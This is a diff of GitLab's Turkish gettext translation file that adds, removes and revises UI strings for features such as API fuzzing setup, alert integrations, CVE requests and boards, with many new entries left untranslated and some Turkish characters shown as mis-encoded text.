@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] "1 gün"
msgstr[1] "%d gün"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] "1 dağıtım anahtarı"
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] "1 saat"
msgstr[1] "%d saat"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 birleÅŸtirilmiÅŸ birleÅŸtirme talebi"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] "1 dakika"
msgstr[1] "%d dakika"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 açık sorun"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 kullanıcı"
msgstr[1] "%{num} kullanıcı"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 katkı"
@@ -1315,9 +1359,6 @@ msgstr "Bir dosya bulunamadı."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr "Çatal, projenin bir kopyasıdır."
-
msgid "A group is a collection of several projects"
msgstr "Bir grup birkaç proje topluluğudur"
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Bu dala yazma yetkisi olan kullanıcı bu seçeneği seçti"
@@ -1429,13 +1464,25 @@ msgstr "API Yardımı"
msgid "API Token"
msgstr "API Erişim Anahtarı"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Hesap ve sınırı"
msgid "Account: %{account}"
msgstr "Hesap: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Ekle"
msgid "Add \"%{value}\""
msgstr "\"%{value}\" ekle"
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "%d sorun ekle"
-msgstr[1] "%d sorun ekle"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr "Bir GPG anahtarı ekle"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Madde iÅŸareti listesi ekle"
@@ -1854,6 +1905,9 @@ msgstr "Åžimdi yorum ekle"
msgid "Add comment to design"
msgstr "Tasarıma yorum ekle"
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Dağıtım durdurma ekle"
@@ -1881,9 +1935,6 @@ msgstr "E-postalar için üstbilgi ve altbilgi ekleyin. Renk ayarları sadece uy
msgid "Add image comment"
msgstr "Resim yorumu ekle"
-msgid "Add issues"
-msgstr "Sorun ekle"
-
msgid "Add italic text"
msgstr "EÄŸik metin ekle"
@@ -1911,6 +1962,9 @@ msgstr "Harcanan zamanı ekleyin veya çıkarın"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Tepki ekle"
@@ -1929,6 +1983,9 @@ msgstr "Sistem kancası ekle"
msgid "Add to Slack"
msgstr "Slack'e ekle"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "EpiÄŸe ekle"
@@ -2022,6 +2079,9 @@ msgstr "Ek dakika"
msgid "Additional text"
msgstr "Ek metin"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Ekler"
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Yönetici alanı"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "Yönetici Mesajı"
@@ -2190,9 +2253,6 @@ msgstr "Bütün işleri durdurmak üzeresiniz. Bu işlem, çalışan tüm mevcut
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "İstatistikler yüklenirken hata oluştu. Lütfen tekrar deneyin"
-msgid "AdminNote|Note"
-msgstr "Not"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr "Yönetim"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Uyarı"
msgstr[1] "Uyarı"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,22 +2981,34 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
+msgstr "Test uyarısı gönder"
+
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Grup sahiplerinin LDAP ile ilgili ayarları yönetmesine izin ver"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Git erişimi için yalnızca seçili protokollerin kullanılmasına izin ver."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Bir hata oluÅŸtu"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "Konuya taslak eklenirken bir hata oluÅŸtu."
@@ -3338,6 +3440,9 @@ msgstr "Bekleyen yorumlar alınırken bir hata oluştu"
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Kenar çubuğu verileri getirilirken bir hata oluştu"
@@ -3350,9 +3455,6 @@ msgstr "Terraform raporu alınırken bir hata oluştu."
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Pano listeleri alınırken bir hata oluştu. Lütfen tekrar deneyin."
-msgid "An error occurred while fetching the builds."
-msgstr "Yapılar alınırken bir hata oluştu."
-
msgid "An error occurred while fetching the job log."
msgstr "İş kayıtları alınırken bir hata oluştu."
@@ -3443,7 +3545,7 @@ msgstr "Dosya yüklenirken bir hata oluştu."
msgid "An error occurred while loading the file. Please try again later."
msgstr "Dosya yüklenirken bir hata oluştu. Lütfen daha sonra tekrar deneyin."
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr "Bir sorun zaten var"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr "Onay kuralları"
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d üye"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{membersCount} tarafından %{count} onay gerekli"
msgstr[1] "%{membersCount} tarafından %{count} onay gerekli"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Onaylayanlar"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Ä°sim"
@@ -3826,9 +3934,6 @@ msgstr "Kural adı"
msgid "ApprovalRule|Target branch"
msgstr "Hedef dal"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "örneğin. QA, Güvenlik vb."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "KaydedilmemiÅŸ deÄŸiÅŸiklikleri kaybetmek istediÄŸinizden emin misiniz?"
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "%{path_lock_path} silmek istediÄŸinizden emin misiniz?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user}, %{project_name} projesinin %{branch} dalına yolladı ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "E-posta olmadan Asana - Ekip çalışması"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4144,7 +4261,7 @@ msgid "Assigned Merge Requests"
msgstr "Atanan Karşılaştırma İstekleri"
msgid "Assigned projects"
-msgstr ""
+msgstr "Atanan projeler"
msgid "Assigned to %{assigneeName}"
msgstr ""
@@ -4159,7 +4276,7 @@ msgid "Assigned to me"
msgstr "Bana atanan"
msgid "Assigned to you"
-msgstr ""
+msgstr "Size atandı"
msgid "Assignee"
msgid_plural "%d Assignees"
@@ -4501,6 +4618,9 @@ msgstr "Profil resmi kaldırılacak. Emin misiniz?"
msgid "Average per day: %{average}"
msgstr "Günlük ortalama: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "%{number} sayfasına geri dön"
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr "Dikkatli olun. Projenin isim alanını değiştirmek, istenmeyen yan etk
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Dikkatli olun. Bir projenin deposunu yeniden isimlendirmenin istenmeyen yan etkileri olabilir."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Seçili işlem ile başla"
@@ -4645,8 +4771,8 @@ msgstr "Fatura"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name} olarak şu anda %{plan_name} planı kullanıyorsunuz."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr "Engellenen sorun"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4795,13 +4924,13 @@ msgid "BoardNewIssue|No matching results"
msgstr ""
msgid "BoardNewIssue|Projects"
-msgstr ""
+msgstr "Projeler"
msgid "BoardNewIssue|Search projects"
-msgstr ""
+msgstr "Proje ara"
msgid "BoardNewIssue|Select a project"
-msgstr ""
+msgstr "Bir proje seç"
msgid "Boards"
msgstr "Panolar"
@@ -4809,6 +4938,11 @@ msgstr "Panolar"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr "Panoyu düzenle"
msgid "Boards|Expand"
msgstr "GeniÅŸlet"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Kapsamı görüntüle"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5161,7 +5312,7 @@ msgid "Busy"
msgstr ""
msgid "Buy CI Minutes"
-msgstr ""
+msgstr "CI Dakikası Satın Al"
msgid "Buy License"
msgstr "Lisans satın al"
@@ -5196,15 +5347,6 @@ msgstr "tarafından"
msgid "CHANGELOG"
msgstr "DEĞİŞİKLİKGÜNLÜĞÜ"
-msgid "CI / CD"
-msgstr "CI/CD"
-
-msgid "CI / CD Analytics"
-msgstr "CI/CD Analizleri"
-
-msgid "CI / CD Settings"
-msgstr "CI / CD Ayarları"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5223,6 +5365,12 @@ msgstr "CI, yukarda belirtilen kimlik bilgileri ile çalışacak."
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD ayarları"
@@ -5312,6 +5460,27 @@ msgstr "KATKI"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "Geridönüş bağlantısı"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr "Åžablonu deÄŸiÅŸtir"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "GitLab UI'nin güncellemeler için ne sıklıkla sorguladığını etkilemek için bu değeri değiştirin."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Başlığı değiştir"
@@ -5544,7 +5719,7 @@ msgid "ChangeReviewer|Reviewer changed to %{new}"
msgstr ""
msgid "ChangeReviewer|Unassigned"
-msgstr ""
+msgstr "Atanmamış"
msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr "Dikkatli seç"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Geri al"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -5919,7 +6103,7 @@ msgid "Choose visibility level, enable/disable project features and their permis
msgstr ""
msgid "Choose what content you want to see on a group’s overview page."
-msgstr ""
+msgstr "Bir grubun genel bakış sayfasında hangi içeriği görmek istediğinizi seçin."
msgid "Choose which Git strategy to use when fetching the project."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "%{tabname} sekmesini kapat"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "EpiÄŸi kapat"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "%{quick_action_target} bunu kapatır."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "Küme"
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7559,6 +7797,9 @@ msgid "Commit…"
msgstr ""
msgid "Community forum"
+msgstr "Topluluk forumu"
+
+msgid "Company"
msgstr ""
msgid "Company name"
@@ -7607,7 +7848,7 @@ msgid "CompareRevisions|Create merge request"
msgstr ""
msgid "CompareRevisions|Filter by Git revision"
-msgstr ""
+msgstr "Git revizyonuna göre filtrele"
msgid "CompareRevisions|Select Git revision"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "Kapsayıcı kaydı resimleri"
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
